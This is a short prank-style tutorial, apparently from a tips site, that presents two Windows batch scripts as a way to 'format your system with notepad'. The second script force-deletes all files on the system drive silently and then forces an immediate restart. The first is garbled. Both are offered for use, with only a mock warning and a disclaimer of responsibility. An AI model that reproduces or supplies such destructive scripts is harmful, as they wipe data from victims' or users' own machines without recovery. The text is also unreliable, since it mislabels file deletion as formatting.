Format your system with notepad

Go to Notepad

@Echo off
Del C:\ *.*y

Save it as Dell.bat

Or

Worse

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

And save it as abc .bat file

Caution:-Don’t try this On your computer

This May Result in Loss of Data and I Am not responsible for any Loss so be Carefull .